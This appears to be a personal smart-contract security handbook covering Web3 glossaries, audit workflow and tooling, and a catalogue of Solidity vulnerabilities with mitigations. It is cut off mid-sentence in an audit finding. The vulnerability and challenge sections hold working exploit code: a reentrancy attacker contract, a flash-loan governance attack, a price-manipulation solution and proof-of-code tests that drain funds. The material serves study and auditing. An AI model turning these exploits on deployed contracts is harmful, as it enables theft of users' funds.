- Introduction
- Web3 glossary
- Ethereum glossary
- DeFi Glossary
- Personal security
- Resources
- Tools
- Audit
- Principles of Smart Contract Design
- Vulnerabilities
- Broken Access Control
- Private informations stored on-chain
- Denial of Service (DoS)
- Should follow CEI
- Reentrancy
- Weak Randomness
- Overflow
- Unsafe casting
- Mishandling of ETH
- Weird ERC20s
- Lack of slippage protection
- Centralization
- Failure to initialize
- Reward manipulation
- Oracle Manipulation
- Storage collision
- EVM compatibility
- Signature issues
- Unbounded gas consumption
- Maximal Extractable Value (MEV)
- Governance Attack
- Flash Loan Attacks
- Web2 Attacks
- Challenges solved
- Damn Vulnerable DeFi v4
- Cyfrin CodeHawks First Flights
- First Flight #14: AirDropper H-02. Lack of a claim verification mechanism in the function
MerkleAirdrop::claim
results in the USDC protocol balance draining - First Flight #13: Baba Marta H-01. No restriction implemented in
MartenitsaToken::updateCountMartenitsaTokensOwner
allows any user to update any MartenitsaToken balance breaking the operativity and purpose of the protocol - First Flight #13: Baba Marta M-01.
MartenitsaEvent::stopEvent
does not clear the list of partecipants not allowing recurring users to join new events
- First Flight #14: AirDropper H-02. Lack of a claim verification mechanism in the function
The Blockchain is a set of technologies in which the ledger is structured as a chain of blocks containing transactions and consensus distributed on all nodes of the network. All nodes can participate in the validation process of transactions to be included in the ledger.
There are two common types of operations that are carried out to create a cryptocurrency:
- Mining (Proof-of-Work) Validation of transactions through the resolution of mathematical problems by miners who use hardware and software dedicated to these operations. Whoever solves the problem first wins the right to add a new block of transactions and a reward;
- Staking (Proof-of-Staking) consists of users who lock their tokens in a node called a validator. The validators take turns checking the transactions on the network. If they perform well, they receive a prize distributed among all the participants of the validator, otherwise, they receive a penalty.
- Read also "What Is the Difference Between Blockchain Consensus Algorithms?" by Pixelplex
Ethereum is a blockchain that has popularized an incredible innovation: smart contracts, which are a program or collection of code and data that reside and function in a specific address on the network. Thanks to this factor, it is defined as a "programmable blockchain".
Note: By design, smart contracts are immutable. This means that once a Smart Contract is deployed, it cannot be modified, with the exception of the Proxy Upgrade Pattern.
A token can be created with a smart contract. Most of them reside in the ERC20 category, which is fungible tokens. Other tokens are ERC-721 and ERC-1155, aka NFTs.
A decentralized application, also known as DApp, differs from other applications in that, instead of relying on a server, it uses blockchain technology. To fully interact with a DApp you need a wallet. DApps are developed both with a user-friendly interface, such as a web, mobile or even desktop app, and with a smart contract on the blockchain.
The fact that there is a user-friendly interface means that the "old vulnerabilities" can still be found. An example: If a DApp has a web interface, maybe an XSS on it can be found and exploited. Another evergreen is phishing, that is frequently used to steal tokens and NFTs.
The source code of the Smart Contracts is often written in Solidity, an object-oriented programming language. Another widely used programming language, but less than Solidity, is Vyper (Python).
Most of the time the smart contract code is found public in a github such as github.com/org/project/contracts/*.sol
or you can get it from Etherscan, for example by going to the contract address (such as that of the DAI token), in the Contract tab you will find the code https://etherscan.io/address/0x6b175474e89094c44da98b954eedeac495271d0f#code and contract ABI > a json which indicates how the functions of the smart contract are called. In any case, the source is almost always public. If it's not public, you can use an EVM bytecode decompiler such as https://etherscan.io/bytecode-decompiler, just enter the contract address here.
Bitcoin Whitepaper | Ethereum Whitepaper | Ethereum Yellow Paper
- Decentralized Autonomous Organization (DAO) A blockchain-based organization that is structured by self-enforcing smart contracts and democratically run by its users using open-source code. A vote is taken by network stakeholders on every decision.
- Liquidity The capacity to swap an asset without significantly changing its price and the simplicity with which an asset may be turned into cash are both examples of liquidity.
- Oracle A blockchain protocol receives external real-world data from Oracles, third-party information service providers. This implies that they can increase the security, veracity, and strength of the data that a blockchain network receives and make use of.
You can find more here: Crypto Glossary | Cryptopedia
- application binary interface (ABI) The standard way to interact with contracts in the Ethereum ecosystem, both from outside the blockchain and for contract-to-contract interactions.
- bytecode An abstract instruction set designed for efficient execution by a software interpreter or a virtual machine. Unlike human-readable source code, bytecode is expressed in numeric format.
- Ethereum Improvement Proposal (EIP) A design document providing information to the Ethereum community, describing a proposed new feature or its processes or environment.
- Ethereum Request for Comments (ERC) A label given to some EIPs that attempt to define a specific standard of Ethereum usage.
- Ethereum Virtual Machine (EVM) is a complex, dedicated software virtual stack that executes contract bytecode and is integrated into each entire Ethereum node. Simply said, EVM is a software framework that allows developers to construct Ethereum-based decentralized applications (DApps).
- hard fork A permanent divergence in the blockchain; also known as a hard-forking change. One commonly occurs when nonupgraded nodes can't validate blocks created by upgraded nodes that follow newer consensus rules. Not to be confused with a fork, soft fork, software fork, or Git fork.
- wei The smallest denomination of ether. 1018 wei = 1 ether.
You can find more here: ethereum.org/en/glossary/
See also: Ethereum 101 - by Rajeev | Secureum
- DEX (Decentralized Exchange): DEX facilitates peer-to-peer trading of digital assets without intermediaries, using smart contracts on blockchain platforms like Ethereum.
- AMM (Automated Market Maker): AMM algorithmically determines asset prices and facilitates trading using liquidity pools, where users provide assets for trading against.
- Liquidity Provider: Liquidity Providers contribute assets to decentralized exchange liquidity pools, enabling trading and receiving a share of transaction fees.
- Dutch Auction: In Dutch Auctions, the price of assets starts high and decreases until a buyer accepts, commonly used for token sales on blockchain platforms.
- Batch Auction: Batch Auctions collect and execute multiple orders simultaneously at set intervals, enhancing liquidity and fairness in decentralized exchange trading.
- Arbitrage: When you take advantage of a price discrepancy on two exchanges
You can find more here: DeFi Glossary | yearn.fi
- Store your assets in a cold wallet (hardware wallet) instead of a hot wallet (Centralized exchanges or CEXs). Some good examples are Ledger and Trezor;
- Keep your seedphrase in a safe place and don't share it with anyone. If possible, use a solution like Zeus from Cryptotag;
- Use 2FA, use a password manager (like KeePass), double check links and be aware of phishing, read Five OpSec Best Practices to Live By.
- Read also The Ultimate Self Custody Guide by Webacy
Other interesting resources
Code
- Clean Contracts - a guide on smart contract patterns & practices
- Ethereum VM (EVM) Opcodes
- Coinbase Solidity Style Guide
Security
- All known smart contract-side and user-side attacks and vulnerabilities in Web3.0, DeFi, NFT and Metaverse + Bonus
- Web3 Security Library | Immunefi
- Smart Contract Security
- Ethereum Smart Contract Security Best Practices
Public reports
Newsletters / Updates / News
YouTube channels
Bounties
Lending/Borrowing protocols
ORACLE based protocols
Blockchain exploration
Development Environment
- Visual Studio Code / VSCodium
- Solidity
- Even Better TOML
- Live Server
- Note: remember to activate
Format on save
- Hardhat
- Foundry
- A web browser + MetaMask
Static Analyzers
Libraries
-
web3.js web3.js is very useful for interacting with a smart contract and its APIs. Install it by using the command
npm install web3
. To use it in Node.js and interact with a contract, use the following commands:1: node; 2: const Web3 = require('web3'); 3: const URL = "http://localhost:8545"; //This is the URL where the contract is deployed, insert the url from Ganache 4: const web3 = new Web3(URL); 5: accounts = web3.eth.getAccounts(); 6: var account; 7: accounts.then((v) => {(this.account = v[1])}); 8: const address = "<CONTRACT_ADDRESS>"; //Copy and paste the Contract Address 9: const abi = "<ABI>"; //Copy and paste the ABI of the Smart Contract 10: const contract = new web3.eth.Contract(abi, address).
-
ethers ethers is a JavaScript library for interacting with Ethereum blockchain and smart contracts. It provides a simple, lightweight interface for making calls to smart contracts, sending transactions, and listening for events on the Ethereum network. Install it with the command
npm install ethers
. An example:// === settings === require('dotenv').config(); const ethers = require('ethers'); //const provider = new ethers.providers.JsonRpcProvider('GANACHE-URL'); // Ganache, or //const provider = new ethers.providers.InfuraProvider('goerli', INFURA_API_KEY); // Infura, or const provider = new ethers.providers.AlchemyProvider('goerli','TESTNET_ALCHEMY_KEY'); //Alchemy const wallet = new ethers.Wallet('TESTNET_PRIVATE_KEY', provider); const contractAddress = 'CONTRACT_ADDRESS'; const abi = 'ABI'; // === interact with a smart contract === async function interactWithContract() { const contract = new ethers.Contract( contractAddress, abi, wallet ); const result = await contract.SMART_CONTRACT_FUNCTION(); console.log(result); } interactWithContract(); // === sign a transaction === async function signTransaction() { // transaction details const toAddress = "DEST-ADDRESS"; const value = ethers.utils.parseEther("1.0"); const gasLimit = 21000; const nonce = 0; const tx = { to: toAddress, value: value, gasLimit: gasLimit, nonce: nonce }; const signedTx = await wallet.sign(tx); const transactionHash = await provider.sendTransaction(signedTx); console.log(transactionHash); } signTransaction();
This cheatsheet it's an extension of the default usage guide from foundry. See also Foundry Cheatcodes.
Usage
# Build
$ forge build
# Test
$ forge test
$ forge test --debug
$ forge test --mt test_myTest -vvv
# Coverage
$ forge coverage
# Format
$ forge fmt
# Gas Snapshots
$ forge snapshot
# See methods of a contract
$ forge inspect <CONTRACT-NAME> methods
# Anvil
$ anvil
# Deploy
$ forge script script/Counter.s.sol:CounterScript --rpc-url <your_rpc_url> --private-key <your_private_key>
$ forge script script/Counter.s.sol:CounterScript --rpc-url $RPC_URL --account defaultKey --sender <sender_address> --broadcast -vvvv
# Cast
$ cast <subcommand>
# Cast verify functions
$ cast sig "function()"
$ cast --calldata-decode "function()" 0xa3ei7e7b # when a function has data
# Smart Contract interactions
$ cast send <smart_contract_address> "<function(uint256)>" <input> --rpc-url $RPC_URL --account defaultKey
$ cast call <smart_contract_address> "<view_function()>"
$ cast --to-base <interaction_output> dec
# Init a new project
$ forge init
$ forge install ChainAccelOrg/foundry-devops --no-commit
$ forge install OpenZeppelin/openzeppelin-contracts --no-commit
$ forge install OpenZeppelin/openzeppelin-contracts-upgradeable --no-commit
$ forge install transmissions11/solmate Openzeppelin/openzeppelin-contracts
# for foundry.toml `remappings = ['@openzeppelin/contracts=lib/openzeppelin-contracts/contracts']`
# Help
$ forge --help
$ anvil --help
$ cast --help
# Basic usage
$ slither .
# Exclude libraries
$ slither . --exclude-dependencies
# More checks
$ slither-check-upgradeability project/contract.sol ContractName # > project can be a Solidity file, or a platform (truffle/embark/..) directory
$ slither-check-erc project/contract.sol ContractName
If you need to find some text in the smart contracts, you can use this command
grep -r --include="*.sol" "CustomMappingError" .
Below, some pieces of code that might be useful
/* Convert a given address into uint */
function addressToUint(address _address) public pure returns (uint256) {
return uint256(uint160(_address));
}
/* Base Foundry test */
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {Contract} from "../src/Contract.sol";
contract Contract is Test {
function setUp() public {
}
}
Two guides / checklists to follow to see if the code is ready for an audit:
The smart contract audit process can be briefly summed up in these steps:
- Get Context: Understand the project, its purpose and its unique aspects.
- Use Tools: Employ relevant tools to scan and analyze the codebase.
- Manual Reviews: Make a personal review of the code and spot out unusual or vulnerable code.
- Write a Report: Document all findings and recommendations for the development team.
Low level → The Three Phases of a Security Review
- Initial Review a. Scoping b. Reconnaissance c. Vulnerability identification d. Reporting
- Protocol fixes a. Fixes issues b. Retests and adds tests
- Mitigation Review a. Reconnaissance b. Vulnerability identification C. Reporting
- Git clone the repository in local enviorment + disable
ffi
if needed - Read the documentation
- Create a scope table with: name file, lines of code, if you have audited or not. You can use notion for this, as it enables you to create an interactive spreadsheet. For example, you can rank the contracts based on complexity.
- A cool tool for this purpose is Solidity Code Metrics
- Look at the code, see how you can break it
- Take notes, in the code and in a file
.md
- Use markers like
@audit
,@audit-info
,@audit-ok
,@audit-issue
- Use markers like
- Don’t get stuck in rabbit holes
- Use Foundry to write tests, especially if some are missing. Also run chisel to understand what some portions of code do
- Look at the docs again to see if everything is correct, which functions might be more vulnerable etc.
- Take notes, in the code and in a file
How to reduce the probability of introducing vulnerabilities in the codebase:
- Less code
- Less code can potentially mean fewer bugs
- It also reduces audit costs, as audit firms charge based on SLOC (Source Lines of Code)
- One way to achieve this is by being very selective with the storage variables you create
- Also consider: how much of the logic can be done off-chain?
- Be cautious about using loops
- They can often cause DoS (Denial of Service) issues
- In any case, they can increase the gas costs
- Limit expected inputs
- Handle all possible cases
- Examples: a stablecoin depegs, insolvent liquidations
- Use parallel data structures
- If necessary and/or possible, use EnumerableMapping, EnumerableSet
Example: A function should be onlyOwner
but it isn’t
The PasswordStore::setPassword
function is set to be an external
function, however the natspec of the function and overall purpose of the smart contract is that This function allows only the owner to set a new password
.
function setPassword(string memory newPassword) external {
// @audit - no access control
s_password = newPassword;
emit SetNetPassword();
}
Add this test to the PasswordStore.t.sol
test suite.
function test_everyone_can_set_password(address randomAddress) public {
vm.assume(randomAddress != owner); // This to make sure that randomAddress is not the owner
vm.startPrank(randomAddress); // Address of a random user
string memory expectedPassword = "newPassword";
passwordStore.setPassword(expectedPassword); // randomAddress changes the password
vm.startPrank(owner); // Only the owner can call getPassword, so we will use it to verify that the change has been made
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword); // This would pass if address(1) effectly changed the password
}
Mitigation (for this scenario): Add an access control modifier to the setPassword
function like onlyOwner
or add the following code at the beginning of the function
if (msg.sender != s_owner) {
revert PasswordStore__NotOwner();
}
Example: s_password
stored on chain set as private
and thought to be really private (see PasswordStore)
- Create a locally running chain
make anvil
- Deploy the contract on chain
make deploy
- Grab the contract address and the RPC URL (in case of anvil it's http://127.0.0.1:8545). Run the storage tool. Note: we use
1
because that is the slot for the storage variable ofs_password
.
cast storage <ADDRESS-HERE> 1 --rpc-url <RPC-URL-HERE>
- Grab the output of the command. Convert it to a string by running the following command. In my case it looked like this
0x6d7950617373776f726400000000000000000000000000000000000000000014
that converted ismyPassword
.
cast parse-bytes32-string <PREVIOUS-OUTPUT>
Mitigation (for this scenario): Due to this, the overall architecture of the contract should be rethought. One could encrypt the password off-chain, and then store the encrypted password on-chain. This would require the user to remember another password off-chain to decrypt the password. However, you'd also likely want to remove the view function as you wouldn't want the user to accidentally send a transaction with the password that decrypts your password.
Example: loops increase the gas needed to interact with a function, making it more expensive overtime and at some point unusable
function enter() public {
// Check for duplicate entrants
for (uint256 i; i < entrants.length; i++) {
if (entrants[i] == msg.sender) {
revert("You've already entered!");
}
}
entrants.push(msg.sender);
}
Add this test to the Contract.t.sol
test suite
address warmUpAddress = makeAddr("warmUp");
address personA = makeAddr("A");
address personB = makeAddr("B");
address personC = makeAddr("C");
function test_denialOfService() public {
// We want to warm up the storage stuff
vm.prank(warmUpAddress);
dos.enter();
uint256 gasStartA = gasleft();
vm.prank(personA);
dos.enter();
uint256 gasCostA = gasStartA - gasleft();
uint256 gasStartB = gasleft();
vm.prank(personB);
dos.enter();
uint256 gasCostB = gasStartB - gasleft();
for(uint256 i = 0; i < 1000; i++){
vm.prank(address(uint160(i)));
dos.enter();
}
uint256 gasStartC = gasleft();
vm.prank(personC);
dos.enter();
uint256 gasCostC = gasStartC - gasleft();
console2.log("Gas cost A: %s", gasCostA);
console2.log("Gas cost B: %s", gasCostB);
console2.log("Gas cost C: %s", gasCostC);
// The gas cost will just keep rising, making it harder and harder for new people to enter!
assert(gasCostC > gasCostB);
assert(gasCostB > gasCostA);
}
It depends on the scenario, an example for Puppy Raffle NFT: https://www.codehawks.com/report/clo383y5c000jjx087qrkbrj8#M-01
- Remember: a DoS at core means to block a function / contract from executing when it really needs to do so
- Look for unbounded loops, a loop that seemingly does not have a defined limit, or a limit that can increase / grow. An example:
for(uint256 i = 0; i < users.lenght; i++){…}
where there is no limit to users on the protocol - Another example: a liquidation if it needs to happen, it should happen no matter what. So check to see if it’s possible for a transfer to fail and revert (this for DeFi)
- Check if there is the possibility for an external call to fail
- Sending Ether to a contract that does not accept it
- Calling a function that does not exist
- The external function runs out of gas
- Third-party contract malicious
Indipendently from the function, CEI should always be followed. The severity dependes on what can be achieved (see Reentrancy)
An example:
contract ReentrancyVictim {
mapping(address => uint256) public userBalance;
function deposit() public payable {
userBalance[msg.sender] += msg.value;
}
function withdrawBalance() public {
uint256 balance = userBalance[msg.sender];
// An external call and then a state change!
// External call
(bool success,) = msg.sender.call{value: balance}("");
if (!success) {
revert();
}
// State change
userBalance[msg.sender] = 0;
}
}
Contract of the attacker (maybe test it on Remix)
contract ReentrancyAttacker {
ReentrancyVictim victim;
constructor(ReentrancyVictim _victim) {
victim = _victim;
}
function attack() public payable {
victim.deposit{value: 1 ether}();
victim.withdrawBalance();
}
receive() external payable {
if (address(victim).balance >= 1 ether) {
victim.withdrawBalance();
}
}
}
Using Foundry to prove it
function test_reenter() public {
// User deposits 5 ETH
vm.prank(victimUser);
victimContract.deposit{value: amountToBeDeposited}();
// We assert the user has their balance
assertEq(victimContract.userBalance(victimUser), amountToBeDeposited);
// // Normally, the user could now withdraw their money if they like
// vm.prank(victimUser);
// victimContract.withdrawBalance();
// But... we get attacked!
vm.prank(attackerUser);
attackerContract.attack{value: 1 ether}();
assertEq(victimContract.userBalance(victimUser), amountToBeDeposited);
assertEq(address(victimContract).balance, 0);
vm.prank(victimUser);
vm.expectRevert();
victimContract.withdrawBalance();
}
→ Follow CEI: Check Effects Interaction (other patterns are CEII or FRE-PI)
→ Put a lock in the function, like the following code at the beginning of the function
bool locked
function withdrawFunction() public {
if(locked){revert();}
locked = true;
...
}
→ Use ReentrancyGuard from OpenZeppelin: https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard
→ See this PoC: https://www.codehawks.com/report/clo383y5c000jjx087qrkbrj8#H-02
→ Reentrancy for NFTs: https://www.codehawks.com/finding/clvge72wm000stmgh7yrwcpbt
→ To check also: A Historical Collection of Reentrancy Attacks
This happens every time in the contract is used something other than an Oracle to enstablish randomness. The purpose of the random number rapresent the severity of the issue.
- For example: if the random value is used to mint a rare NFT, it’s an high severity issue
- See: https://github.com/immunefi-team/Web3-Security-Library/tree/main/Vulnerabilities#bad-randomness
Vulnerable contract:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
// Inspired by https://github.com/crytic/slither/wiki/Detector-Documentation#weak-prng
contract WeakRandomness {
/*
* @notice A fair random number generator
*/
function getRandomNumber() external view returns (uint256) {
uint256 randomNumber = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.timestamp)));
return randomNumber;
}
}
// prevrandao security considerations: https://eips.ethereum.org/EIPS/eip-4399
Proof of Code
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {WeakRandomness} from "../../src/weak-randomness/WeakRandomness.sol";
contract WeakRandomnessTest is Test {
WeakRandomness public weakRandomness;
function setUp() public {
weakRandomness = new WeakRandomness();
}
// For this test, a user could just deploy a contract that guesses the random number...
// by calling the random number in the same block!!
function test_guessRandomNumber() public {
uint256 randomNumber = weakRandomness.getRandomNumber();
assertEq(randomNumber, weakRandomness.getRandomNumber());
}
}
- Chainlink VRF (the most popular solution)
- Commit Reveal Scheme
- Case study: Understanding the Meebits Exploit
→ This happens if it’s an older version of solidity, or the value is unchecked
→ Use chisel to see how much an uint can store
$ chisel
-> type(uint64).max
- Remove
unchecked
if it’s present - Usa a more recent version of solidity
- Bigger uints, for example from
uint64
touint256
- Use SafeMath https://docs.openzeppelin.com/contracts/2.x/api/math
Scenario
uint64 totalFees = 0;
uint256 fee = 0
totalFees = 0 + uint64(fee);
This creates problem as the max value for uint64
is 18446744073709551615
while for uint256
is 115792089237316195423570985008687907853269984665640564039457584007913129639935
.
What will happen is that if the value of fee
is bigger than the max value accepted for uint64, the difference will be lost.
In this scenario, if fee value is bigger than 18.446744073709551615
ETH, any value after it will be lost.
You can try it with chisel:
$ chisel
➜ type(uint256).max
Type: uint256
├ Hex: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
├ Hex (full word): 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
└ Decimal: 115792089237316195423570985008687907853269984665640564039457584007913129639935
➜ type(uint64).max
Type: uint64
├ Hex: 0xffffffffffffffff
├ Hex (full word): 0x000000000000000000000000000000000000000000000000ffffffffffffffff
└ Decimal: 18446744073709551615
/*
Adding the maximum value for uint256 to uint64, notice how the difference is lost
once reached the max capacity for uint64
*/
➜ uint64 myUint = uint64(type(uint256).max);
➜ myUint
Type: uint64
├ Hex: 0xffffffffffffffff
├ Hex (full word): 0x000000000000000000000000000000000000000000000000ffffffffffffffff
└ Decimal: 18446744073709551615
/* What happens if I cast 20 ETH in uint64? */
➜ uint256 twentyEth = 20e18;
➜ uint64 myUint = uint64(twentyEth);
➜ myUint
Type: uint64
├ Hex: 0x158e460913d00000
├ Hex (full word): 0x000000000000000000000000000000000000000000000000158e460913d00000
└ Decimal: 1553255926290448384
/*
Notice how the result is 1.553255926290448384 ETH
resulting in a loss of almost 18.5 ETH
*/
A couple of examples are:
- Not using push over pull
- Vulnerable to selfdestruct: we can use
selfdestruct
from a malicious contract to force send ETH to a contract that doesn’t have a fallback and receive functions. If that contract does have some assertion based on the balance, this will break those assertion, breaking the contract. An example.
If you see something like require(address(this).balance == something)
, you should check for mishandling of ETH
→ Case study: Two Rights Might Make A Wrong
→ Keep in mind that not every ERC20 follows the standard, an example is UDST
→ USDC is another example since it implements a proxy. That means that if the devs intend to modify it, you should handle it
Fee on transfer tokens
- M-03 Deposits don’t work with fee-on transfer tokens | Reality Cards (round 2)
- Vault is Not Compatible with Fee Tokens and Vaults with Such Tokens Could Be Exploited
Resources
→ In swap protocols, the protocol can’t just swap for the market price, this would be vulnerable to the continue change in price
→ If the market conditions change before the transaction process, the user could get a much worse swap
→ See: https://uniswapv3book.com/milestone_3/slippage-protection.html
Most of the time, for competitive audits, this would be marked as a known issue or no issue. However, for a private audit, you should always report it. This especially if it’s behind a proxy, at least to cover yourself from any responsability.
→ An example of an hack: UK Court Ordered Oasis to Exploit Own Security Flaw to Recover 120k wETH Stolen in Wormhole Hack.
A scenario is when there are initializer functions where somebody else can also call them. For example.
Check:
For example, when an exchange is updated incorrectly. See: “Unnecessary updateExchangeRate
in deposit
function incorrectly updates exchangeRates
preventing withdraws and unfairly changing reward distribution”.
- Spot Price Manipulation This vulnerability arises when a protocol trust a decentralised exchange's spot pricing and lacks verification
- Off-Chain Infrastructure Oracle software must be hardened and compliant with security best practises such as the OWASP Secure Coding Practices. The Synthetix sKRW incident is an example, read more here: "So you want to use a price oracle"
- Centralized Oracles and Trust Projects can also decide to implement a centralized oracle. This can lead to some problems, like:
- Attackers may exploit authorised users to submit harmful data and misuse their position of privilege
- Centralized Oracles may present an inherent risk as a result of compromised private keys
- Decentralized Oracle Security Participants who provide the Oracle system with (valid) data receive financial compensation. The participants are encouraged to offer the least expensive version of their service in order to increase their profit. How this get exploited:
- Freeloading A node can replicate the values without validation by copying another oracle or off-chain component. A commit-reveal system may be simply implemented to avoid freeloading attacks for more complicated data streams
- Mirroring Similar to Freeloading. Following a single node's reading from the centralised data source, additional participants (Sybil nodes) that mirror that data copy the values of that one node. The incentive for giving the information is doubled by the quantity of participants with a single data read
Example:
For pricing: It’s always advisable to rely on secure price oracle mechanism, like a Chainlink price feed with a UniSwap TWAP fallback oracle.
- zkSync and Ethereum
- Compare chains with: EVM Diff
- Publick Key / Private Key Demo
- Polygon Lack Of Balance Check Bugfix Review - $2.2m Bounty
- Note:
ecrecovery
does not revert. Instead, it returns0
. So, the result from this function must be checked.
- Note:
- Signature Replay: SignatureReplay.sol
- Remediation: use nonce or deadline so that the signature can be used one time
- See: [H-3] Lack of replay protection in withdrawTokensToL1 allows withdrawals by signature to be replayed
For every transaction, ask yourself: If someone sees this TX in the mempool, how can they abuse that knowledge?
Resources:
- Frontrun: Frontran.sol + front-running.svg and signature-front-run.svg
- MEV: Maximal Extractable Value Pt. 1 | Galaxy
- MEV: Maximal Extractable Value Pt. 2 | Galaxy
- Case study: Curve suffers $70M exploit, but damage contained
Sandwich Attacks
Essentially, the attacker will execute a simultaneous front-run and back-run, with the initial pending target transaction positioned between them.
Reports
- Attacker can drain protocol tokens by sandwich attacking owner call to
setPositionWidth
andunpause
to force redeployment of Beefy's liquidity into an unfavorable range - 5.1 Oracle updates can be manipulated to perform atomic front-running attack
- Note: Obscurity ≠ Security
- Private / Dark mempool, an example: Flashbots Protect. Cons: speed; you have to trust it
- Add a lock to the function that can be frontran, like a boolean
- Case study: Rekt - Tornado Cash Governance
Reports
- Selfie | Damn Vulnerable DeFi v4
- [M-02] All yield generated in the IBT vault can be drained by performing a vault deflation attack using the flash loan functionality of the Principal Token contract | Spectra
- Attacker can destroy user voting power by setting
ERC721Power::totalPower
and all existing NFTscurrentPower
to 0 | Dexe
- The Billion Dollar Exploit: Collecting Validators Private Keys via Web2 Attacks
- M-01. Insufficient input validation on
SablierV2NFTDescriptor::safeAssetSymbol
allows an attacker to obtain stored XSS
Summary
The function emergencyExit(address receiver)
in the SelfiePool
contract transfers the entire balance of the contract to the specified address. By using a flash loan to acquire the necessary voting power, it is possible to queue the action emergencyExit(address)
targeting a specific address, in this case recovery
. After queuing the action, wait for the required delay before calling executeAction(actionId)
to meet the conditions. This will transfer the contract’s balance to the specified address.
Solution
...
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
...
function test_selfie() public checkSolvedByPlayer {
SelfieAttacker selfieAttacker = new SelfieAttacker(
address(pool),
address(token),
address(governance),
recovery
);
uint256 actionId = governance.getActionCounter();
selfieAttacker.attack();
// execute the action
vm.warp(block.timestamp + governance.getActionDelay() + 1);
governance.executeAction(actionId);
}
...
contract SelfieAttacker is IERC3156FlashBorrower {
SelfiePool public pool;
DamnValuableVotes public token;
SimpleGovernance public governance;
address player;
address recovery;
constructor(
address _pool,
address _token,
address _governance,
address _recovery
) {
pool = SelfiePool(_pool);
token = DamnValuableVotes(_token);
governance = SimpleGovernance(_governance);
player = msg.sender;
recovery = _recovery;
}
function attack() public {
bytes memory data = abi.encodeWithSignature(
"emergencyExit(address)",
recovery
);
pool.flashLoan(
IERC3156FlashBorrower(address(this)),
address(token),
pool.maxFlashLoan(address(token)),
data
);
}
function onFlashLoan(
address,
address,
uint256 _amount,
uint256,
bytes calldata data
) external returns (bytes32) {
require(msg.sender == address(pool), "msg.sender must be pool");
require(tx.origin == player, "tx.origin must be player");
token.delegate(address(this)); // with this operation, get the voting power
governance.queueAction(address(pool), 0, data); // queue the action
// return the loan
token.approve(address(pool), _amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
Summary
It is possible to manipulate the price of the DVT token by exchanging a large amount of it for WETH on the Uniswap exchange of the DVT/WETH pair.
Solution
function test_puppetV2() public checkSolvedByPlayer {
console.log(
"Initial WETH needed to swap all DVT tokens: ",
lendingPool.calculateDepositOfWETHRequired(
token.balanceOf(address(lendingPool)) / 10 ** 18
)
);
address[] memory path;
path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
// Step 1. swap DVT for WETH to decrease the price of DVT
token.approve(address(uniswapV2Router), token.balanceOf(player));
uniswapV2Router.swapExactTokensForTokens(
token.balanceOf(player),
0,
path,
address(player),
block.timestamp + 1 days
);
console.log(
"New amount of WETH needed to swap all DVT tokens: ",
lendingPool.calculateDepositOfWETHRequired(
token.balanceOf(address(lendingPool)) / 10 ** 18
)
);
// Step 2. get the remaining WETH needed for the swap
weth.deposit{
value: lendingPool.calculateDepositOfWETHRequired(
token.balanceOf(address(lendingPool))
) - weth.balanceOf(player)
}();
// Step 3. use the WETH to borrow the DVT tokens
uint256 wethNeeded = lendingPool.calculateDepositOfWETHRequired(
token.balanceOf(address(lendingPool))
);
weth.approve(address(lendingPool), wethNeeded);
lendingPool.borrow(token.balanceOf(address(lendingPool)));
// Step 4. send the DVT tokens to the recovery account
token.transfer(address(recovery), token.balanceOf(player));
}
First Flight #14: AirDropper H-02. Lack of a claim verification mechanism in the function MerkleAirdrop::claim
results in the USDC protocol balance draining
Summary
The claim
function in the MerkleAirdrop contract enables eligible users to claim their 25 USDC airdrop. However, the current implementation of the MerkleAirdrop.sol
contract lacks a mechanism to prevent users from claiming the airdrop multiple times in the MerkleAirdrop::claim
function, which could lead to draining the contract's USDC balance.
Affected code
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
Proof of Code
Add the following test to the MerkleAirdropTest.t.sol
test suite.
function testUsersCanClaimMultipleTimes() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, airdrop.getFee() * 4);
vm.startPrank(collectorOne);
for (uint i = 0; i < 4; i++) {
airdrop.claim{value: airdrop.getFee()}(
collectorOne,
amountToCollect,
proof
);
}
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToSend);
}
Solution
It is advisable to add a verification mechanism to make sure that an user can claim only its airdrop. An example is the following:
+ error MerkleAirdrop__AirdropAlreadyClaimed();
+ mapping(address => bool) private claimed; // Track claimed status
...
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ if (claimed[account]) { // Check if user already claimed
+ revert MerkleAirdrop__AirdropAlreadyClaimed();
+ }
+ claimed[account] = true; // Mark user as claimed
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
First Flight #13: Baba Marta H-01. No restriction implemented in MartenitsaToken::updateCountMartenitsaTokensOwner
allows any user to update any MartenitsaToken balance breaking the operativity and purpose of the protocol
Summary
If a user wants to buy a MartenitsaToken
, it's supposed to call the MartenitsaMarketplace::buyMartenitsa
function to purchase it, where there are the necessary checks to verify if the user has the requirements to do so. The balance of both the buyer and seller is updated by calling the MartenitsaToken::updateCountMartenitsaTokensOwner
function.
However, a user can directly call the MartenitsaToken::updateCountMartenitsaTokensOwner
